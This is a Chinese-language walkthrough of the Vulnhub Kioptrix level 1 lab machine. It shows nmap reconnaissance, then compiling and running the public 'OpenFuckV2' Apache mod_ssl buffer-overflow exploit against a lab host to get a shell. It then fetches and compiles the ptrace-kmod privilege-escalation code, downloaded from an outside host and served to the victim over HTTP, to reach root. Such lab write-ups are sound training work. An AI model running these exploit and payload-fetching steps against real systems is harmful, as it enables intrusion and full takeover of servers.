0x01 Vulnhub Kioptrix level 1 通关

利用Apache mod_ssl < 2.8.7 OpenSSL - ‘OpenFuckV2.c’ Remote Buffer Overflow (2) | unix/remote/47080.c

```
# 网络探测
┌──(root㉿kali)-[/tmp]
└─# nmap 192.168.232.0/24 -sn --min-rate 2222 -r
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-18 10:03 EDT
Nmap scan report for 192.168.232.1 (192.168.232.1)
Host is up (0.00094s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.232.2 (192.168.232.2)
Host is up (0.00024s latency).
MAC Address: 00:50:56:F4:68:3A (VMware)
Nmap scan report for 192.168.232.147 (192.168.232.147)
Host is up (0.00028s latency).
MAC Address: 00:0C:29:8E:6D:8B (VMware)
Nmap scan report for 192.168.232.254 (192.168.232.254)
Host is up (0.00032s latency).
MAC Address: 00:50:56:F6:5F:5D (VMware)
Nmap scan report for 192.168.232.142 (192.168.232.142)
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 0.47 seconds
```

端口探测

```
┌──(hh㉿kali)-[~]
└─$ nmap 192.168.232.147 -p- --min-rate 9999 -r -sS -oA nmap_results/port_scan
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 04:38 EDT
Nmap scan report for 192.168.232.147 (192.168.232.147)
Host is up (0.0083s latency).
Not shown: 65529 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
MAC Address: 00:0C:29:8E:6D:8B (VMware)
```

```
Nmap done: 1 IP address (1 host up) scanned in 22.66 seconds
```

输出第一列的值，以横排的方式，用逗号相隔

```
—# cat /root/nmap_results/port_scan.nmap | grep open | awk -F '/' '{print $1}' | tr '\n' ','
```

指纹探测

```
—$ nmap 192.168.232.147 -p 22,80,111,139,443,1024 -sV -sC -O --version-all
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-17 05:17 EDT
Nmap scan report for 192.168.232.147 (192.168.232.147)
Host is up (0.0013s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey:
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
|http-title: Test Page for the Apache Web Server on Red Hat Linux
|http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| http-methods:
| Potentially risky methods: TRACE
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
| 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|ssl-date: 2025-09-17T08:15:30+00:00; -1h02m42s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_WITH_MD5
```

```
|_http-title: 400 Bad Request
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
| ssl-cert: Subject:
commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--
| Not valid before: 2009-09-26T09:32:06
|_Not valid after: 2010-09-26T09:32:06
1024/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:8E:6D:8B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: , NetBIOS MAC: (unknown)
|_clock-skew: -1h02m42s

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.73 seconds
```

搜索漏洞

```
┌──(root㉿kali)-[/tmp]
└─# searchsploit mod_ssl
```

Exploit Title | Path

```
Apache mod_ssl 2.0.x - Remote Denial of Service | linux/dos/24590.txt
Apache mod_ssl 2.8.x - Off-by-One HTAccess Buffer Overflow | multiple/dos/21575.txt
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Buffer Overflow | unix/remote/21671.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (1) | unix/remote/764.c
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2) | unix/remote/47080.c
Apache mod_ssl OpenSSL < 0.9.6d / < 0.9.7-beta2 - 'openssl-too-open.c' SSL2 KEY_ARG Overflow | unix/remote/40347.txt
```

Shellcodes: No Results

下载漏洞文件

```
┌──(root㉿kali)-[~]
└─# searchsploit -m unix/remote/47080.c
Exploit: Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow (2)
URL: https://www.exploit-db.com/exploits/47080
Path: /usr/share/exploitdb/exploits/unix/remote/47080.c
Codes: CVE-2002-0082, OSVDB-857
Verified: False
File Type: C source, ASCII text
Copied to: /root/47080.c
```

重命名

```
┌──(root㉿kali)-[~]
└─# mv 47080.c OpenFuck.c

┌──(root㉿kali)-[~]
└─# nano OpenFuck.c
```

下载编译需要的组件

```
┌──(root㉿kali)-[~]
└─# sudo apt update && sudo apt install libssl-dev
命中:1 http://mirrors.ustc.edu.cn/kali kali-rolling InRelease
有 142 个软件包可以升级。请执行 ‘apt list --upgradable’ 来查看它们。
libssl-dev 已经是最新版 (3.5.2-1)。
下列软件包是自动安装的并且现在不需要了：
libtheora0
使用'sudo apt autoremove'来卸载它(它们)。

摘要：
升级：0，安装：0，卸载：0，不升级：142
```

编译

```
┌──(root㉿kali)-[~]
└─# gcc -o OpenFuck OpenFuck.c -lcrypto -lssl
OpenFuck.c: In function ‘read_ssl_packet’:
OpenFuck.c:557:17: warning: ‘RC4’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
557 | RC4(ssl->rc4_read_key, rec_len, buf, buf);
| ^~~
In file included from OpenFuck.c:49:
/usr/include/openssl/rc4.h:37:28: note: declared here
37 | OSSL_DEPRECATEDIN_3_0 void RC4(RC4_KEY *key, size_t len,
| ^~~
OpenFuck.c: In function ‘send_ssl_packet’:
OpenFuck.c:606:17: warning: ‘MD5_Init’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
```

```
declarations]
606 | MD5_Init(&ctx);
| ^~~~~~~
In file included from OpenFuck.c:50:
/usr/include/openssl/md5.h:49:27: note: declared here
49 | OSSL_DEPRECATEDIN_3_0 int MD5_Init(MD5_CTX *c);
| ^~~~~~~
OpenFuck.c:607:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
607 | MD5_Update(&ctx, ssl->write_key, RC4_KEY_LENGTH);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:608:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
608 | MD5_Update(&ctx, rec, rec_len);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:609:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
609 | MD5_Update(&ctx, &seq, 4);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:610:17: warning: ‘MD5_Final’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
610 | MD5_Final(p, &ctx);
| ^~~~~~~~
/usr/include/openssl/md5.h:51:27: note: declared here
51 | OSSL_DEPRECATEDIN_3_0 int MD5_Final(unsigned char *md, MD5_CTX *c);
| ^~~~~~~~
OpenFuck.c:617:17: warning: ‘RC4’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
617 | RC4(ssl->rc4_write_key, tot_len, &buf[2], &buf[2]);
| ^~~
/usr/include/openssl/rc4.h:37:28: note: declared here
37 | OSSL_DEPRECATEDIN_3_0 void RC4(RC4_KEY *key, size_t len,
| ^~~
OpenFuck.c: In function ‘send_client_master_key’:
OpenFuck.c:771:9: warning: ‘EVP_PKEY_get1_RSA’ is deprecated: Since OpenSSL 3.0 [-
```

```
Wdeprecated-declarations]
771 | if (EVP_PKEY_get1_RSA(pkey) == NULL) {
| ^~
In file included from /usr/include/openssl/x509.h:29,
from /usr/include/openssl/ssl.h:32,
from OpenFuck.c:44:
/usr/include/openssl/evp.h:1407:16: note: declared here
1407 | struct rsa_st *EVP_PKEY_get1_RSA(EVP_PKEY *pkey);
| ^~~~~~~~~~~~~~~~
OpenFuck.c:777:9: warning: ‘RSA_public_encrypt’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
777 | encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10],
EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
| ^~~~~~~~~~~~~~~~~~~
In file included from /usr/include/openssl/x509.h:36:
/usr/include/openssl/rsa.h:293:5: note: declared here
293 | int RSA_public_encrypt(int flen, const unsigned char *from, unsigned char *to,
| ^~~~~~~~~~~~~~~~~
OpenFuck.c:777:9: warning: ‘EVP_PKEY_get1_RSA’ is deprecated: Since OpenSSL 3.0 [-
Wdeprecated-declarations]
777 | encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10],
EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
| ^~~~~~~~~~~~~~~~~~~
/usr/include/openssl/evp.h:1407:16: note: declared here
1407 | struct rsa_st *EVP_PKEY_get1_RSA(EVP_PKEY *pkey);
| ^~~~~~~~~~~~~~~~
OpenFuck.c: In function ‘generate_key_material’:
OpenFuck.c:814:17: warning: ‘MD5_Init’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
814 | MD5_Init(&ctx);
| ^~~~~~~
/usr/include/openssl/md5.h:49:27: note: declared here
49 | OSSL_DEPRECATEDIN_3_0 int MD5_Init(MD5_CTX *c);
| ^~~~~~~
OpenFuck.c:816:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
816 | MD5_Update(&ctx,ssl->master_key,RC4_KEY_LENGTH);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:817:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-
declarations]
```

```
817 | MD5_Update(&ctx,&c,1);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:819:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
819 | MD5_Update(&ctx,ssl->challenge,CHALLENGE_LENGTH);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:820:17: warning: ‘MD5_Update’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
820 | MD5_Update(&ctx,ssl->conn_id, ssl->conn_id_length);
| ^~~~~~~~~
/usr/include/openssl/md5.h:50:27: note: declared here
50 | OSSL_DEPRECATEDIN_3_0 int MD5_Update(MD5_CTX *c, const void *data, size_t len);
| ^~~~~~~~~
OpenFuck.c:821:17: warning: ‘MD5_Final’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
821 | MD5_Final(km,&ctx);
| ^~~~~~~~
/usr/include/openssl/md5.h:51:27: note: declared here
51 | OSSL_DEPRECATEDIN_3_0 int MD5_Final(unsigned char *md, MD5_CTX *c);
| ^~~~~~~~
OpenFuck.c: In function ‘generate_session_keys’:
OpenFuck.c:830:9: warning: ‘RC4_set_key’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
830 | RC4_set_key(ssl->rc4_read_key, RC4_KEY_LENGTH, ssl->read_key);
| ^~~~~~~~~~
/usr/include/openssl/rc4.h:35:28: note: declared here
35 | OSSL_DEPRECATEDIN_3_0 void RC4_set_key(RC4_KEY *key, int len,
| ^~~~~~~~~~
OpenFuck.c:834:9: warning: ‘RC4_set_key’ is deprecated: Since OpenSSL 3.0 [-Wdeprecated-declarations]
834 | RC4_set_key(ssl->rc4_write_key, RC4_KEY_LENGTH, ssl->write_key);
| ^~~~~~~~~~
/usr/include/openssl/rc4.h:35:28: note: declared here
35 | OSSL_DEPRECATEDIN_3_0 void RC4_set_key(RC4_KEY *key, int len,
| ^~~~~~~~~~
```

```
┌──(root㉿kali)-[~]
└─# ./OpenFuck
```

- OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *

- by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
- #hackarena irc.brasnet.org *
- TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
- #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
- #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

#使用方法

```
: Usage: ./OpenFuck target box [port] [-c N]

target - supported box eg: 0x00
box - hostname or IP address
port - port for ssl connection
-c open N connections. (use range 40-50 if u dont know)

Supported OffSet:
0x00 - Caldera OpenLinux (apache-1.3.26)
0x01 - Cobalt Sun 6.0 (apache-1.3.12)
0x02 - Cobalt Sun 6.0 (apache-1.3.20)
0x03 - Cobalt Sun x (apache-1.3.26)
0x04 - Cobalt Sun x Fixed2 (apache-1.3.26)
0x05 - Conectiva 4 (apache-1.3.6)
0x06 - Conectiva 4.1 (apache-1.3.9)
0x07 - Conectiva 6 (apache-1.3.14)
0x08 - Conectiva 7 (apache-1.3.12)
0x09 - Conectiva 7 (apache-1.3.19)
0x0a - Conectiva 7/8 (apache-1.3.26)
0x0b - Conectiva 8 (apache-1.3.22)
0x0c - Debian GNU Linux 2.2 Potato (apache_1.3.9-14.1)
0x0d - Debian GNU Linux (apache_1.3.19-1)
0x0e - Debian GNU Linux (apache_1.3.22-2)
0x0f - Debian GNU Linux (apache-1.3.22-2.1)
0x10 - Debian GNU Linux (apache-1.3.22-5)
0x11 - Debian GNU Linux (apache_1.3.23-1)
0x12 - Debian GNU Linux (apache_1.3.24-2.1)
0x13 - Debian Linux GNU Linux 2 (apache_1.3.24-2.1)
0x14 - Debian GNU Linux (apache_1.3.24-3)
0x15 - Debian GNU Linux (apache-1.3.26-1)
0x16 - Debian GNU Linux 3.0 Woody (apache-1.3.26-1)
```

```
0x17 - Debian GNU Linux (apache-1.3.27)
0x18 - FreeBSD (apache-1.3.9)
0x19 - FreeBSD (apache-1.3.11)
0x1a - FreeBSD (apache-1.3.12.1.40)
0x1b - FreeBSD (apache-1.3.12.1.40)
0x1c - FreeBSD (apache-1.3.12.1.40)
0x1d - FreeBSD (apache-1.3.12.1.40_1)
0x1e - FreeBSD (apache-1.3.12)
0x1f - FreeBSD (apache-1.3.14)
0x20 - FreeBSD (apache-1.3.14)
0x21 - FreeBSD (apache-1.3.14)
0x22 - FreeBSD (apache-1.3.14)
0x23 - FreeBSD (apache-1.3.14)
0x24 - FreeBSD (apache-1.3.17_1)
0x25 - FreeBSD (apache-1.3.19)
0x26 - FreeBSD (apache-1.3.19_1)
0x27 - FreeBSD (apache-1.3.20)
0x28 - FreeBSD (apache-1.3.20)
0x29 - FreeBSD (apache-1.3.20+2.8.4)
0x2a - FreeBSD (apache-1.3.20_1)
0x2b - FreeBSD (apache-1.3.22)
0x2c - FreeBSD (apache-1.3.22_7)
0x2d - FreeBSD (apache_fp-1.3.23)
0x2e - FreeBSD (apache-1.3.24_7)
0x2f - FreeBSD (apache-1.3.24+2.8.8)
0x30 - FreeBSD 4.6.2-Release-p6 (apache-1.3.26)
0x31 - FreeBSD 4.6-Realease (apache-1.3.26)
0x32 - FreeBSD (apache-1.3.27)
0x33 - Gentoo Linux (apache-1.3.24-r2)
0x34 - Linux Generic (apache-1.3.14)
0x35 - Mandrake Linux X.x (apache-1.3.22-10.1mdk)
0x36 - Mandrake Linux 7.1 (apache-1.3.14-2)
0x37 - Mandrake Linux 7.1 (apache-1.3.22-1.4mdk)
0x38 - Mandrake Linux 7.2 (apache-1.3.14-2mdk)
0x39 - Mandrake Linux 7.2 (apache-1.3.14) 2
0x3a - Mandrake Linux 7.2 (apache-1.3.20-5.1mdk)
0x3b - Mandrake Linux 7.2 (apache-1.3.20-5.2mdk)
0x3c - Mandrake Linux 7.2 (apache-1.3.22-1.3mdk)
0x3d - Mandrake Linux 7.2 (apache-1.3.22-10.2mdk)
0x3e - Mandrake Linux 8.0 (apache-1.3.19-3)
0x3f - Mandrake Linux 8.1 (apache-1.3.20-3)
0x40 - Mandrake Linux 8.2 (apache-1.3.23-4)
0x41 - Mandrake Linux 8.2 #2 (apache-1.3.23-4)
```

0x42 - Mandrake Linux 8.2 (apache-1.3.24)

0x43 - Mandrake Linux 9 (apache-1.3.26)

0x44 - RedHat Linux ?.? GENERIC (apache-1.3.12-1)

0x45 - RedHat Linux TEST1 (apache-1.3.12-1)

0x46 - RedHat Linux TEST2 (apache-1.3.12-1)

0x47 - RedHat Linux GENERIC (marumbi) (apache-1.2.6-5)

0x48 - RedHat Linux 4.2 (apache-1.1.3-3)

0x49 - RedHat Linux 5.0 (apache-1.2.4-4)

0x4a - RedHat Linux 5.1-Update (apache-1.2.6)

0x4b - RedHat Linux 5.1 (apache-1.2.6-4)

0x4c - RedHat Linux 5.2 (apache-1.3.3-1)

0x4d - RedHat Linux 5.2-Update (apache-1.3.14-2.5.x)

0x4e - RedHat Linux 6.0 (apache-1.3.6-7)

0x4f - RedHat Linux 6.0 (apache-1.3.6-7)

0x50 - RedHat Linux 6.0-Update (apache-1.3.14-2.6.2)

0x51 - RedHat Linux 6.0 Update (apache-1.3.24)

0x52 - RedHat Linux 6.1 (apache-1.3.9-4)1

0x53 - RedHat Linux 6.1 (apache-1.3.9-4)2

0x54 - RedHat Linux 6.1-Update (apache-1.3.14-2.6.2)

0x55 - RedHat Linux 6.1-fp2000 (apache-1.3.26)

0x56 - RedHat Linux 6.2 (apache-1.3.12-2)1

0x57 - RedHat Linux 6.2 (apache-1.3.12-2)2

0x58 - RedHat Linux 6.2 mod(apache-1.3.12-2)3

0x59 - RedHat Linux 6.2 update (apache-1.3.22-5.6)1

0x5a - RedHat Linux 6.2-Update (apache-1.3.22-5.6)2

0x5b - Redhat Linux 7.x (apache-1.3.22)

0x5c - RedHat Linux 7.x (apache-1.3.26-1)

0x5d - RedHat Linux 7.x (apache-1.3.27)

0x5e - RedHat Linux 7.0 (apache-1.3.12-25)1

0x5f - RedHat Linux 7.0 (apache-1.3.12-25)2

0x60 - RedHat Linux 7.0 (apache-1.3.14-2)

0x61 - RedHat Linux 7.0-Update (apache-1.3.22-5.7.1)

0x62 - RedHat Linux 7.0-7.1 update (apache-1.3.22-5.7.1)

0x63 - RedHat Linux 7.0-Update (apache-1.3.27-1.7.1)

0x64 - RedHat Linux 7.1 (apache-1.3.19-5)1

0x65 - RedHat Linux 7.1 (apache-1.3.19-5)2

0x66 - RedHat Linux 7.1-7.0 update (apache-1.3.22-5.7.1)

0x67 - RedHat Linux 7.1-Update (1.3.22-5.7.1)

0x68 - RedHat Linux 7.1 (apache-1.3.22-src)

0x69 - RedHat Linux 7.1-Update (1.3.27-1.7.1)

0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1

0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2

0x6c - RedHat Linux 7.2-Update (apache-1.3.22-6)

0x6d - RedHat Linux 7.2 (apache-1.3.24)
0x6e - RedHat Linux 7.2 (apache-1.3.26)
0x6f - RedHat Linux 7.2 (apache-1.3.26-snc)
0x70 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)1
0x71 - Redhat Linux 7.2 (apache-1.3.26 w/PHP)2
0x72 - RedHat Linux 7.2-Update (apache-1.3.27-1.7.2)
0x73 - RedHat Linux 7.3 (apache-1.3.23-11)1
0x74 - RedHat Linux 7.3 (apache-1.3.23-11)2
0x75 - RedHat Linux 7.3 (apache-1.3.27)
0x76 - RedHat Linux 8.0 (apache-1.3.27)
0x77 - RedHat Linux 8.0-second (apache-1.3.27)
0x78 - RedHat Linux 8.0 (apache-2.0.40)
0x79 - Slackware Linux 4.0 (apache-1.3.6)
0x7a - Slackware Linux 7.0 (apache-1.3.9)
0x7b - Slackware Linux 7.0 (apache-1.3.26)
0x7c - Slackware 7.0 (apache-1.3.26)2
0x7d - Slackware Linux 7.1 (apache-1.3.12)
0x7e - Slackware Linux 8.0 (apache-1.3.20)
0x7f - Slackware Linux 8.1 (apache-1.3.24)
0x80 - Slackware Linux 8.1 (apache-1.3.26)
0x81 - Slackware Linux 8.1-stable (apache-1.3.26)
0x82 - Slackware Linux (apache-1.3.27)
0x83 - SuSE Linux 7.0 (apache-1.3.12)
0x84 - SuSE Linux 7.1 (apache-1.3.17)
0x85 - SuSE Linux 7.2 (apache-1.3.19)
0x86 - SuSE Linux 7.3 (apache-1.3.20)
0x87 - SuSE Linux 8.0 (apache-1.3.23)
0x88 - SUSE Linux 8.0 (apache-1.3.23-120)
0x89 - SuSE Linux 8.0 (apache-1.3.23-137)
0x8a - Yellow Dog Linux/PPC 2.3 (apache-1.3.22-6.2.3a)

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

```
./OpenFuck 0x6b 192.168.232.147 -c 40
```

- OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *

- by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
- #hackarena irc.brasnet.org *
- TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
- #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
- #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

```
Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--09:09:43-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: ptrace-kmod.c: No such file or directory
gcc: No input files
rm: cannot remove `ptrace-kmod.c': No such file or directory
bash: ./exploit: No such file or directory
bash-2.05$bash - 2.05$ whoami
whoami
apache
```

#####从这里反弹shell成功，但是拿到的是低权限apache账户
但是也提示了后续缺少提权脚本gcc: ptrace-kmod.c: No such file or directory
同时也提示了我们下载位置
https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

此时打开另一个kali终端，输入

```
┌──(root㉿kali)-[~]
└─# wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c

--2025-09-18 09:22:34-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
正在解析主机 dl.packetstormsecurity.net (dl.packetstormsecurity.net)... 64.71.185.201
正在连接 dl.packetstormsecurity.net (dl.packetstormsecurity.net)|64.71.185.201|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：3921 (3.8K) [text/x-csrc]
正在保存至: “ptrace-kmod.c.1”

ptrace-kmod.c.1 100%[====================================>] 3.83K --.-KB/s 用时 0s

2025-09-18 09:22:35 (28.6 MB/s) - 已保存 “ptrace-kmod.c.1” [3921/3921])
```

#这里下载完提权脚本

```
                                                                            #开启http服
务和端口，让apache用户下载这个脚本
```

```
┌──(root㉿kali)-[~]
└─# python -m http.server 444
Serving HTTP on 0.0.0.0 port 444 (http://0.0.0.0:444/) ...
192.168.232.147 - - [18/Sep/2025 09:26:27] "GET /ptrace-kmod.c HTTP/1.0" 200 -
```

#回到apache用户，下载这个脚本，ip和端口是kali的和刚才设置的444端口

```
bash-2.05$ wget http://192.168.232.142:444/ptrace-kmod.c
wget http://192.168.232.142:444/ptrace-kmod.c
--09:14:06-- http://192.168.232.142:444/ptrace-kmod.c
=> `ptrace-kmod.c'
Connecting to 192.168.232.142:444... connected!
HTTP request sent, awaiting response... 200 OK
Length: 3,921 [text/x-csrc]
```

```
OK ...                                                  100% @   3.74 MB/s
```

09:14:06 (1.25 MB/s) - `ptrace-kmod.c' saved [3921/3921]

#这里有了完整提权脚本，重新执行脚本

```
┌──(root㉿kali)-[~]
└─# ./OpenFuck 0x6b 192.168.232.147 -c 40
```

- OpenFuck v3.0.4-root priv8 by SPABAM based on openssl-too-open *

- by SPABAM with code of Spabam - LSD-pl - SolarEclipse - CORE *
- #hackarena irc.brasnet.org *
- TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
- #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
- #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *

```
Connection... 40 of 40
Establishing SSL connection
cipher: 0x4043808c ciphers: 0x80f80e0
Ready to send shellcode
Spawning shell...
bash: no job control in this shell
```

```
bash-2.05$
d.c; ./exploit; -kmod.c; gcc -o exploit ptrace-kmod.c -B /usr/bin; rm ptrace-kmo
--09:15:38-- https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
=> `ptrace-kmod.c.1'
Connecting to dl.packetstormsecurity.net:443... connected!

Unable to establish SSL connection.

Unable to establish SSL connection.
gcc: file path prefix `/usr/bin' never used
[+] Attached to 2157
[+] Waiting for signal
[+] Signal caught
[+] Shellcode placed at 0x4001189d
[+] Now wait for suid shell...

whoami
root
```